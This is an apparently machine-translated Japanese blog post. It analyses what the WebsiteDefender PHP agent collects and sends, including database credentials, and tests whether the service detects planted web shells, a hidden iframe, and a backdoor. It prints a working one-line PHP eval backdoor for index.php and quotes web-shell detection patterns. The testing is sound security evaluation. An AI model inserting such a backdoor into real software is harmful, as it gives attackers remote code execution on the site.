Clever Geek Handbook

WebsiteDefenderの仕組み

数週間前、Wordpress wpセキュリティスキャン用のプラグインで、サイトを保護するための別のwebsitedefenderサービスの広告に気付きました。 このサイトでは、標準的なマーケティングの殻を除いて、何も有用なものは見つかりませんでしたが、既存のサービスとは異なるこのサービスを使用した革新的な方法についての言葉に興味をそそられました。 Googleはこのサービスがどのように機能するかについて有用な情報を提供しませんでした。



歴史的に、ほとんどの人は、外部の攻撃（SQL、XSSインジェクション、LFI \ RFI、CSRFなど）からの保護のみを考慮し、Webアプリケーションファイルへの攻撃を忘れています。 mod_security、phpidsなどの同じWAFが代表的な例です。



これは私にはあまり公平ではないと思われるので、説明によると、Webアプリケーションファイルを変更から保護できるはずのWebsiteDefenderサービスの可能性を検討したかったのです。



特定のエージェント-php-fileをダウンロードすることを提案します。このファイルでは、暗号化および... 

$success = @eval('?>'.$request->params);


このphpコードは何をするのかという質問は、ダウンロードされる前からも発生していました。 同社は非常によく知られているように見えますが、Acunetix、ウェブサイトのバッグに猫を入れようとする人はほとんどいません。



情報、彼らのコードが何をするか、そして猫の下でのサービスの彼らの研究の結果を提供するための要求への応答をサポートします



WebsiteDefenderは、作業の詳細を提供しません。



通信から、私は最も重要なことだけを与えます。



私：あなたのPHPコードが何をするのか知りたいだけです。 「Webサイトを保護する...」などの一般的な情報ではなく、技術的な詳細。 収集してサーバーなどに送信する情報。 今では私にとってブラックボックスだからです。



サポート回答：

具体的な詳細は提供していません。



ただし、たとえばWordPressユーザーアカウントのパスワードが弱い場合や、プラグインが脆弱かどうかなど、リモートで判断することはできません。 したがって、WSDエージェントを使用して、リモートWebサイトからこのような情報を取得し、分析のためにサーバーに送信します。 基本的に、コードとデータベースを直接調べ、存在するものを分析します。



非常に興味深いことが判明しました。彼らはウェブサイトを保護するサービスを提供しますが、エージェントが行うことの具体的な詳細を公開しません。 最後の回答から、何が収集され送信されているかがほぼ明らかになりました。



PHPエージェントWebsiteDefenderが送受信するもの



数日後、dyndnsクライアントを自宅のラップトップにインストールし、テストホストを登録し、apache、php、mysql、wordpressをインストールし、エージェントの入力および出力データログにリセットを追加し、定期的にログのチェックを開始しました。



希望する人は、エージェントのコードを自分で見ることができます。すべてがシンプルです。 最も重要なことは、実行のためのすべての種類のチェックの後に、外部phpコードが送信され、WebsiteDefenderロボットによって送信されることです。 ハッキング用ではなく、サイトを保護するためのシェルのようなものです。



次のデータが収集されて送信されます。


  1. PHPバージョン、$ _SERVER配列
  2. ディレクトリとファイルの構造は、指定された拡張子（php、html、js、htaccess、ini、logなど）のファイルのリストであり、次にそれらのsha1ハッシュ、変更日、アクセス権
  3. データベース接続パラメーター-名前、ホスト、ログイン、パスワード
  4. いくつかの短い文字列とそのmd5ハッシュ-明らかに、エージェントが機能していることを確認するため。


あなたのサイトを保護する約束と引き換えにサービスがあなたが将来コードを実行することができるエージェントをインストールすることを要求することと混同していないと仮定します。



サイトのハッキングの痕跡がどれくらい早く見つかるかを確認することにしました。

  1. oRbによる古いWebシェルとソース、Antichatの古いシェルがサイトのさまざまなディレクトリに散らばっている
  2. Wordpressテーマフッターに挿入された非表示のiframe
  3. 追加してindex.phpを修正 

     if ( $_REQUEST['evil'] == 1 ) { eval( '?>'. $_GET[ 'cmd' ] ); exit(); }


サイトのファイルの次のフルスキャンの2日後 、ロボットがmd5ハッシュを静かに受信する前に、すべての変更が検出されました 。 興味深いことに、管理パネルでは、oRbによるWeb Shellは重大な脅威としてマークされ、さ​​まざまなテンプレートを使用して定義されました。

/wp-admin/network/wso2.php、テンプレート-eval（$ _ POST ['p1']

/wp-admin/includes/wso2_pack.php、テンプレート-<？php＃oRbによるWebシェル。



そして、Antichatのシェルは、新しいファイルの中に控えめにリストされていました。 おそらく、このサービスは、自家製の非配布パッケージシェルによってクリティカルステータスとしてマークされませんが、まずPHP実行可能ファイルを割り当てる必要があります。



結論の代わりに



確かに、あなたの考えでも、あなたのサイトを保護するために他の人のスクリプトをインストールしたくありませんでした。 このトピックは情報提供のみを目的としています。 外部アプリケーションに盲目的に依存するべきではないことをよく示した例で示したいと思います。ファイルを変更してシェルをロードすることからWebアプリケーションを保護するには、簡単な自己記述型ファイルインスペクターで十分です。必要な反応時間。ファイルを回復できます。 サーバー上の特殊なユーティリティの構成は言うまでもありません。


More articles:


All Articles